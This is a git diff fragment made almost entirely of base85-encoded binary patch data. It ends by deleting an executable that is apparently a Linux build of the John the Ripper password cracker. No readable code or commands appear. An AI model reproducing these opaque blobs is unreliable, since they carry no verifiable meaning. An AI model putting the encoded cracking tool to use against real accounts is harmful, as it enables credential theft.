z0?vEj7}n%6imD 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 diff --git a/data/john/run.linux.x86.any/john b/data/john/run.linux.x86.any/john deleted file mode 100755 index 2ea6201127dcfd606593fa389ddbc00718ded59d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 666508 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

